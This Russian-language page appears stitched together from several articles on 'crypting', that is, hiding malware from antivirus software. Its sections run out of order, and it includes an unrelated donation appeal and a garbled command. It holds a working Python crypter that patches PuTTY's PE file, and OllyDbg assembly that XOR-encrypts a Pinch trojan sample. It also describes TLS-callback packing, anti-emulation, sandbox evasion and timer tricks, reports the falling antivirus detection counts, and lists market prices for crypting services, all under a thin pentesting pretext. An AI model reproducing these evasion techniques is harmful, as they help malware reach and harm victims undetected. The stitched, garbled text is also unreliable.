Крипт файлов что это
Web мы спасли от антивирусов несколько месяцев назад. Это было нетрудно — область относительно новая, не освоенная. С исполнимыми же файлами антивирусы борются уже десятилетиями. Побороть EXE-модуль будет сложнее, но… мы справимся :).
Крипт IFrame
Это процесс обфускации (изменения iframe кода) до состояния отсутствия реакции АВ. Зачастую связан с сложными модификациями на языке JavaScript. Стоит в пределах 5-15$. Часто автоматический.
Зачем нужен крипт файлов?
Вы храните сенситивную информацию на компьютере? Знаете, у кого есть доступ к вашим аккаунтам в онлайн-банкинге и других финансовых приложениях? Если вы успешны, полны идей и энтузиазма, третьи лица давно заметили вас и планируют атаку. А, возможно, уже давно используют ваши аккаунты, а вы об этом даже не слышали. Чтобы избежать кражи данных, применяется крипт файлов.
Самый простой пример шифрования, с которым сталкивается каждый пользователь, - виртуальная приватная сеть. Приобретая VPN, вы подключаетесь к защищенному соединению, соответствующему стандартам высшей математики. Часть вашего Интернет-трафика направляется через виртуальную сеть, в то время как другая часть выходит онлайн. VPN способен зашифровать также IP-адрес и местоположение.
Хотя многие современные гаджеты предлагают встроенные методы защиты, есть опасения, что такие DNS-серверы не выдерживают серьезной хакерской атаки. Поэтому компании и индивидуумы устанавливают дополнительные слои защиты в виде файерволов и VPN. А также обращаются к пентестерам с просьбой продиагностировать их систему. Для тех же, кто чувствует в себе силы проверить потенциал компьютера самостоятельно, мы покажем, как сделать крипт файла, добавив туда тестовую зловредную программу, - и испытав десктоп на прочность.
Операционная система не шифрует файлы автоматически, если вы не включите опцию крипта наподобие Bitlocker в Windows или FileVault на Mac. Такой крипт будет безопасным для операционной системы. А вот если вы хотите самостоятельно создать файл с симуляцией вирусной атаки и нанести удар по собственной системе (чтобы затем укрепить ее), вам понадобятся специальные инструменты.
Как скомпилировать файл с исходника?
Для начала нужно создать шаблон файла, чтобы добавить в него "зловред". Скомпилируем файл с исходников, воспользовавшись программой DrJava.
Откройте несколько файлов и кликните на опцию Compile. Если же вы планируете немного адаптировать определенный файл, нажмите на его название в списке слева и выберите Compile Current Document.
Результаты компиляции отобразятся в строке Compiler Output внизу экрана. Если компиляция прошла успешно, вы увидите надпись: Last compilation completed successfully. Если есть ошибки, они отразятся, после выделения каждой из них выделятся в исходном коде.
Как вариант, в процессе компиляции можно сделать сборку, добавив следующую информацию в код:
- команды и переменные, которые не способны оказать хоть какое-то влияние на функционал программы;
- дополнительные опции, благодаря которым пользователи получают так называемый расширенный функционал приложения;
- специальные тормозящие опции для того, чтобы остановить ход выполнения определенного функционала в программе.
Затем нужно изменить названия, данные переменным, в этом файле. А также проделать обфускацию - запутывание исходящего кода.
Для этого воспользуемся Hex Editor. Это особый тип редактора, который открывает любой файл и отражает байт за байтом. Здесь вы можете поменять цифры, заданные по умолчанию, чтобы видоизменить программу.
Зачем нужен дебаггер и как с ним работать?
Далее вам понадобится дебаггер, или отладчик - программа для поиска ошибок в другом ПО, ядре операционной системы. Пентестеры обычно хвалят Immunity Debugger, инструмент, помогающий писать эксплойты, анализировать вирусы и бинарии обратной инженерии. В пентесте дебаггер позволяет добавить в скомпилированную сборку вирусный код. Рассмотрим, как это сделать, на примере Immunity Debugger.
Итак, вы создали крипт файла. Теперь его нужно запаковать, выбрать форматы doc, docx или rtf. Осталось протестировать свой компьютер - или десктоп клиента на выносливость. Но это уже - совсем другая история.
Для пентестеров крайне важно уметь делать крипт или шифрование файлов. Представьте, что вам нужно в рамках Red Teaming провести симуляцию атаки на компанию, чтобы посмотреть уязвимости в системе. Антивирус видит ваш файл как зловредный и не пропускает его. Но «обернув» тестовое приложение криптом, вы узнаете, насколько готова система отразить атаку. Итак, как делать крипт файлов?
Обращение от редакции: Нашим защитникам из 3-го отдельного батальона УДА, которые находятся в Запорожской области, нужны вещи, чтобы противостоять врагу: квадрокоптеры и смартфоны для управления ими, прицелы ночного видения. Реквизиты для перевода средств на карту monobank – Колонович Катерина, номер карты 5375411505235312. Просим приобщиться к сбору средств. Слава Украине!
Выпуск 5. Завершающий
Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! А теперь прикинь, сколько строк содержала бы программа на С? Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. О том как теоретически эти проблемы решить, смотри во врезках. Удачи!
Компиляция с источника
Следующий этап — собственно, создать файл, который вы планируете зашифровать и дальше тестировать.
Чтобы сделать сборку на основании исходников, можно воспользоваться программой Quasar. До этого потребуется добавить несколько элементов в исходный код. Проверьте свои действия по чек-листу:
- переменные или элементы, не способные повлиять на процесс команды;
- дополнительные функции;
- задержки, тормозящие выполнение прямых функций;
- новые названия для переменных проекта.
После этого нужно «обернуть» код обфускатором, а затем убрать цифровые отпечатки, например, имя автора проекта. Не забудьте ввести правильно бит кода, при котором антивирус не заметит крипт файла. Для этого воспользуйтесь следующей загрузкой:
> 1.exe head 1000 1.exe > /host/machine/
Для дальнейших занятий пентестом, вам понадобятся дебаггеры (отладчики) — программы, которые ищут ошибки в ПО, операционных системах, SQL и других кодах. Рассмотрим работу с отладчиками на примере Immunity Debugger.
Интерфейс Immunity Debugger
Проделав последовательность действий, нам необходимо подписать файл сертификатом Windows и упаковать его. Можно воспользоваться для этого специальными программами-пакерами. Среди проверенных вариантов — UPX, ASPack, FSG, VMProtect.
Внутренности Антивирусов
В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам.
К примеру, пусть в антивирусе будут такие сигнатуры:
- секция с кодом, записываемая +10;
- после запуска прописывается в авторан +30;
- вторая секция с именем Zeus +30;
- меньше 4 энтропия кодовой секции +20;
- есть сертификат от майкрософта -10.
Дальше антивирь проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус.
Обязательный функционал 1. АнтиЭмуляция
Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API.
Вот тебе такая идейка для реализации:
Что делать дальше?
Для дальнейшего крипта файлов, нужно воспользоваться лоадером — главным компонентом операционной системы, который обеспечивает загрузку всех необходимых программ и библиотек. Лоадер важен на стартовой фазе, когда идет запуск программы. Сам лоадер не оказывает негативное влияние на систему и используется только в тот период, когда выполняется скачивание полезной нагрузки.
Как пример, лоадеры могут выглядеть как файлы vbs, is, hta, bat, ps1. Пентестерам лоадер понадобится для того, чтобы скачать вредоносный код и поработать с ним. При помощи скриптов ps или certutil пентестер сможет скачать вредоносные файлы.
Работа над криптом файла практически завершена. Осталось проверить, что находится в вашем файле для пентеста. Чтобы обезопасить от распознавания антивирусом, необходимо нашпиговать файл программами Anti Ring3 Hooks, Anti Emulator, Anti Debugger, Anti Dumper, Anti VM/SandBox.
Странно осознавать, что многие люди, создающие трояны, вирусы или использующие готовые решения-генераторы, нередко обращаются к услугам создателей «приватных крипторов», нередко оказывающихся обычными поделками студентов, обладающих весьма посредственными знаниями в области вирусмейкинга, имеющих слабое представление о структуре PE-файлов. Такой продукт может стоить десятки или даже сотни долларов, но при этом не обеспечивать даже минимальной защиты от разнообразных механизмов обнаружения вредоносных программ. А ведь достаточно легко самостоятельно спрятать троян от назойливых антивирусов, даже таких известных, как NOD и Dr. Web. И совершенно бесплатно! Как? Читай ниже!
Крипт сплоитов/связок
Это процесс модернизации эксплоитов в cвязке до отсутствия срабатывания АВ. Принцип во многом схож с обычным криптом, но и при этом значительно отличается т.к. приходится работать сразу с несколькими языками программирования и модификаторами. Такой крипт значительно сложнее и очень редко происходит в автоматическом режиме. Сплоиты постоянно меняются и каждый раз приходится придумывать новые способы. Стоимость варьируется в пределах 20-100$ в зависимости от сложности работы.
Выпуск 2. PE-файл
Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.
PE-файл представляет набор разных служебных структур, связанных между собой, и набор данных, которые размещены в секторах. Загрузчик Windows’a читает структуры, обрабатывает их (например, импортирует DLL’ки) и потом передает управление на инструкцию, указанную в поле «Entry Point».
Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.
Выпуск 1. Ознакомительный
Ты уже знаешь, что я считаю антивирусы абсолютно бесполезными — хотя бы по той причине, что они помогают только от самых примитивных зверьков, которые в условиях современного денежного малварьбизнеса встречаются не так часто. Современные злокодеры, подогретые денежными вливаниями, научились программировать довольно жестко, но есть у них одна маленькая проблема — криптовка — достаточно сложная штука, для написания которой нужны глубокие знания PE-формата, ассемблера и системного программирования. Из-за высокого «входного барьера» в этой области мало профессионалов.
И найти хорошего криптора ой как сложно.
Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные мазы — публичные технологии тоже сгодятся. Например, было бы круто, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.
Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать. В общем, заложим фундамент этой благородной миссии. Присоединяйся!
Подготовка к исследованиям
Выпуск 3. Теоретический криптор
Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Чтобы сделать приятное Андрюшку :), мы, пожалуй, будем издеваться над Putty.exe. Упрощенно его структура будет выглядеть так:
- Служебные данные
- Первая кодовая секция
- Другие секции с данными
Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную прогу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.
В результате получится следующая структура:
- Служебные данные
- Первая кодовая секция
- Наша первая программа, которая передаст управление на 4.2
- Шифрованный код первой секции
- Часть кодовой секции, перезаписанной программой 2.1
- Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.
Последние штрихи
Когда я писал статью, я заметил, что в веб-интерфейс пинча стали приходить странные однообразные отчеты. Сначала мне показалось, что эти отчеты присланы с виртуальной машины, созданной мной, но потом понял, что это не так: все они были созданы на машинах с различной конфигурацией. В конце концов я понял, что это – результат запусков на машинах экспертов, которые пользуются virustotal’ом для анализа новых угроз. Мои опасения подтвердились, когда я увидел, что количество антивирусов, распознавших в зашифрованном мной файле угрозу, увеличилось, хотя и ненамного. Тогда я решил «обернуть» вокруг защиты, созданной мной, еще один «слой»-пакер, запускаемый из TLS. Для чего? Это позволит усложнить жизнь механизмам, использующим сигнатуры. Кроме того, на месте TLS-функции может быть любой алгоритм, кодирующий произвольный участок файла, что позволяет малыми усилиями полностью изменить содержание файла, скрыв «узнаваемые» места. Мало того, использование callback-функций само по себе является достаточно неплохим средством усложнения защитного механизма.
Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.
Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).
Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).
Приступим к созданию кода таблицы TLS-функций.
Переходим к адресу 13147da0, выделяем 6 байт, выбираем из контекстного меню команду «Binary -> Edit». Вводим значение «13 14 7d b0 00 00». Первые 4 байта указывают на адрес callback-функции. Последние два нулевых байта указывают на окончание таблицы callback-функций.
По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:
13147DB0 PUSHAD; сохраняем регистры в стек
13147DB1 MOV ECX,6D2F; устанавливаем счетчик
13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
13147DC6 POPAD; восстанавливаем регистры
13147DC7 RETN; возвращаемся из функцииПолагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.
Последний штрих – внесение сведений о TLS-директории в PE-заголовок. Открываем LordPE и правим в таблице директорий значение TLS Address на 00005d7d (разумеется, это же можно сделать и средствами OllyDbg). Кстати, если ты хочешь отлаживать TLS, чтобы не «пролетать» мимо выполнения callback-функций, нажми в OllyDbg Alt+O и в появившемся меню выбора места, где отладчик будет останавливаться при загрузке программы, укажи «System Breakpoint» (цель этого действия ясна, ведь TLS callback’и выполняются еще до попадания на точку входа!).
Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!
Что такое крипт файлов?
Крипт (шифрование) информации в файлах защищает их от постороннего вмешательства. Неавторизированные пользователи не смогут воспользоваться шифрами. Процесс крипта кодирует данные из файла, так что разблокировать их можно, лишь открыв правильным паролем или ключом кодировки.
Пользователи шифруют файлы также для безопасной передачи данных или чтобы закрыть от чужих глаз USB-накопитель, содержащий ценные сведения корпоративного или приватного характера. Также шифруют интернет-соединение, например, при помощи VPN .
Еще одно понятие, которое нужно рассмотреть в рамках крипта файлов, — обфускация. Это практика шифрования шелл-кода — двоичного исполняемого кода, который передает команды процессору в MS-DOS и Windows. При помощи обфускаторов можно «обернуть» шелл-код шифрованием XOR или AES. Как правило, обфускаторы работают с шелл-кодами в форматах C, HEX, BASE64 и RAW.
Чтобы криптовать файлы, часто используется FUD (Fully UnDetectable — «полностью нераспознаваемый»). Так называют программное обеспечение для шифрования приложений .exe. Кроме того, FUD криптует вирусы, шпионское ПО, троянские вирусы удаленного действия RAT, а также кейлогеры (аппаратное или программное устройство для распознавания действий пользователя).
FUD берет за основу оригинальный бинарный файл .exe и применяет многослойный крипт, создавая новый зашифрованный документ.
Когда новый .exe файл приводится в действие, происходит дешифровка бинарного файла на небольшие фрагменты данных. Эта информация инфицируется, либо в нее встраиваются коды с информацией, необходимой для «этичного хакера». Часто такие файлы впоследствии перезапускаются как .txt или .mp3.
Главная проблема с FUD заключается в том, что нынешние производители антивирусов узнали о существовании программ-шифровальщиков и обновили собственное ПО, чтобы распознавать FUD. Поэтому, прежде чем применять FUD, протестируйте его по ссылке.
Убедились в действенности программы? Можно начинать пентест.
Обязательный функционал 2. Шифрование ресурсов и импорта
Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.
Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать липовый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL’ки и сохранить в таблицу импорта реальные указатели на функции.
Как работает pefile
При загрузке в pefile экзэхи, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.
При сохранении файла pe.write(filename=»result. exe») либа проходит по всем структурам и сохраняет их по указанным адресам. Чтобы что-то добавить, например, в ту же секцию, нам сначала нужно найти адрес в памяти. Это можно посчитать так: адрес в памяти последней секции + размер секции. Дальше заполняем все поля в структуре и добавляем ее в массив pe.structures. Вот и все :).
Крипт, crypt - процесс сокрытия вашего вредоносного кода от антивирусов (далее по тексту АВ).
К процессу крипта относят три основных понятия:
- Крипт exe файлов
- Крипт сплоитов/связок
- Крипт (или псевдо-крипт) iframe кода
Выпуск 4. Практический криптор
Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile (будем использовать несколько модифицированную версию), и с помощью либы откроем Putty:
import pefile
pe = pefile.PE("putty.exe")Теперь, если ты напишешь «print pe», то увидишь подробную инфу обо всех характеристиках файла, по этой инфе я советую искать нужные для изменения поля в файле. А о внутренней работе модуля обязательно прочитай во врезке. Теперь немного математики. У нас будут две программы, которые нужно внедрить в файл. Они будут занимать где-то по 512 байт каждая максимум. Поэтому для размещения добавим новую секцию в 1024 килобайт вызовом:
Закриптуем первую секцию XOR’ом с ключом «1»:
Магия, правда? :). А теперь прикинь, что все это пришлось бы писать на С++!
Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:
pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)
Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файлик pack.tpl.asm с содержанием:
use32
mov eax, >
jmp eaxТы, наверное, уже догадался, что это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb, а его мы уже отлично знаем, ведь именно его мы использовали при написании HTML-морфера. Сгенерируем первую программу:
asm = Template(open("pack.tpl.asm", "r").read()).generate(
go=pe.OPTIONAL_HEADER.ImageBase + pe.sections[-1].VirtualAddress+512,
)
with open("pack.asm", "w") as f:
f.write(asm)
os.system(r"c:fasmwFASM.EXE pack.asm")В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилим результат на FASM’е. Теперь запишем получившийся код в начало первой секции:
new_pack = open("pack.bin", "rb").read()
pe.data_replace(offset=pe.sections[0].PointerToRawData, new_data=new_pack)Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код смотри на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.
При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:
copy_from = pe.OPTIONAL_HEADER.ImageBase+pe.sections[-1].VirtualAddress
copy_to = pe.OPTIONAL_HEADER.ImageBase+pe.sections[0].VirtualAddress
oep = pe.OPTIONAL_HEADER.ImageBase+pe.OPTIONAL_HEADER.AddressOfEntryPoint
asm = Template(open("copy.tpl.asm", "r").read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)Остался маленький штришок — записать вторую прогу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:
new_copy = open("copy.bin", "rb").read()
pe.data_replace(offset=pe.sections[-1].PointerToRawData+512, new_data=new_copy)
pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[0].VirtualAddress
pe.write(fi lename="result.exe")Крипт exe
Это процесс модификации кода вашего файла (exe/dll) таким образом, при котором сохранится работоспособность самого файла и при этом все антивирусы будут считать что файл безвредный для системы. Это достигается различными способами. Самые простые - это добавление в код файла мусорных секция или ложных вызовов и прыжков. Такой простейший способ давно потерял свою актуальность ввиду развития антивирусов и логистических способов анализа файла (эвристический анализ).
Сейчас применяются более сложные способы которые включают в себя огромный комплекс модификаций файшего файла. И чем изощереннее способы тем дольше ваш файл будет оставаться "чистым" для АВ.Такой крипт бывает двух видов:
- Ручной - это когда ваш файл модифицируется ручным способом индивидуально под задачу. Считается, что такой способ дает более качественный результат и файл дольше остается "чистым".
- При помощи криптора - это автоматический способ при котором заранее написана программа, которая и производит ряд стандартных для каждого файла модификаций. Такой способ считается менее надежным т.к. процедуры производимые над файлом одинаковы для всех файлов. Что в свою очередь значит, что если один из файлов попался на "улов" к АВ то и все остальные в ближайшее время начнут детектиться (определяться АВ как вредоносные).
При каждой такой модификации (процессе) размер файла увеличивается на определенное количество килобайт. Этот размер у каждого сервиса/криптора разный и может варьироваться от 5кб до 300кб. Чем меньше - тем лучше. Добавочный размер называется СТАБ-ом. Цена варьируется в пределах 5 - 50$. Автоматический (при помощи криптера стоит 5-15$), ручной стоит 25-50$.
Продолжаем эксперимент
Для разминки, вставим в подопытный пинч несколько небольших кусков кода, которые «закроют глаза» нескольким антивирусам (а заодно и многим реверсерам низкой квалификации). По адресу 13147C90 я разместил криптор, аналогичный вышеописанному, который шифрует написанный нами антиотладочный код (4Ch байт, начиная с адреса 13147C30). На диске ты найдешь его код, здесь же его привести не позволяет объем статьи. Таким образом, мы скрыли от некоторых эвристических механизмов некоторые детали нашего механизма, усложнив работу необходимостью многоступенчатой распаковки.
13147C90 - NEW OEP
length of code 4c13147c30 - start of code
13147c7c -end of code13147C90 60 PUSHAD
13147C91 B9 4C000000 MOV ECX,4C
13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
13147C9C 83F2 54 XOR EDX,54
13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
13147CA7 61 POPAD
jmp 13147c30Существует очень любопытный прием, который дает очень хороший эффект, вводящий в ступор некоторые отладчики и антивирусы. Имя ему – обнуление точки входа. Действительно, совсем неправдоподобной выглядит ситуация, когда PE-заголовок, располагающийся по нулевому смещению относительно ImageBase, является одновременно исполняемым кодом. Однако она более чем возможна. Открой отлаживаемый файл в WinHex и взгляни на байты данных, располагающиеся в самом начале файла: 4D 5A 00 00 (да-да, это та самая буквенная сигнатура «MZ», расположенная в начале PE-файла!). Взглянув на этот же PE-заголовок в отладчике (для этого нужно перейти по адресу 13140000h), мы увидим следующую картину:
13140000 4D DEC EBP
13140001 5A POP EDX
13140002 0000 ADD BYTE PTR DS:[EAX],AL
13140004 0100 ADD DWORD PTR DS:[EAX],EAX.
13140028 0000 ADD BYTE PTR DS:[EAX],ALКажется, первые две инструкции вполне безобидны и могут быть выполнены без риска «уронить» программу. К сожалению, следом за ними располагается лишь два нулевых байта, а испортить MZ-заголовок, записав межсегментный пятибайтный переход на антиотладочный код, мы не можем. Подумав с полминуты, можно найти верное решение. Взгляни на 13140028. Здесь можно найти гораздо больше пяти нулевых байт. Слон здесь вряд ли поместится, но длинный переход – вполне! Итак, действуем следующим образом: меняем нулевые байты, начиная с адреса 13140002, на следующую инструкцию:
13140002 EB 24 JMP SHORT 13140028
а байты, расположенные по адресу 13140028, на следующий код:
13140028 -E9 637C0000 JMP 13147c90
После выполненных процедур остается лишь сохранить программу, открыть ее на редактирование в LordPE и обнулить поле «EntryPoint». Итак, все работает, и еще два антивируса сдались: теперь лишь 25 из 43 находят в нашем подопытном образце опасный код.
Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.
Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.
Желательный функционал 1. Обход песочниц
В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox’е или анализаторе типа анубиса. Чтобы их зедетектить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша прога. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.
Прячем код
Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:
13147C30 PUSHAD
13147C31 MOV ECX,6C2F
13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
13147C3C XOR EDX,76
13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
13147C45 LOOPD SHORT pinch_pa.13147C36
13147C47 POPAD
13147C48 JMP SHORT pinch_pa.13147810Продолжим наш эксперимент. Попробуем использовать механизм создания собственного обработчика исключений для выполнения одного из приемов, описанных мной на страницах журнала ранее. Поскольку метод «разжеван», мы лишь адаптируем код для нашего случая, его функциональность полностью раскрывается в комментариях (если что-то все-таки осталось неясным, отправляю тебя к рубрике «Антиотладочные приемы» за октябрь 2009 года).
13147C4B XOR EAX,EAX; обнуляем регистр
13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
13147C62 POP EAX; восстановление регистров
13147C63 POP EAX
13147C64 POP ESP
13147C65 JMP pinch_pa.13147810; переход к выполнению программыКратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).
Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.
Lost in Time, или Dr. Web, не считающий время
Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.
Попробуем использовать таймер в своих целях, чтобы сравнять с землей эмуляцию кода. Итак, наш план – использовать два замера времени, в промежутке между которыми будет «тикать» таймер. Впоследствии мы используем два временных штампа, чтобы вычислить разность между ними. Разность эта в дальнейшем будет нами использоваться для того, чтобы изменить логику работы защитного механизма.
Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:
typedef struct _SYSTEMTIME WORD wYear; // Год
WORD wMonth; // Месяц
WORD wDayOfWeek; // День недели
WORD wDay; // День месяца
WORD wHour; // Часы
WORD wMinute; // Минуты
WORD wSecond; // Секунды
WORD wMilliseconds; // Миллисекунды
> SYSTEMTIME;Условимся, что для хранения двух структур, полученных в результате пары вызовов GetLocalTime, будем использовать области памяти, начинающиеся, соответственно, с адресов 13147D7D и 13147D94. Функция Sleep(), входящая в Kernel32, инициирует «заморозку» выполнения программы, принимая параметр, выраженный в миллисекундах, через стек. Используя эти условия, напишем следующий код:
13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
13147D09 CALL kernel32.Sleep; запуск таймера
13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
13147D13 CALL kernel32.GetLocalTime; получаем второй временной штампВ результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:
[год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]
13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03
13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03
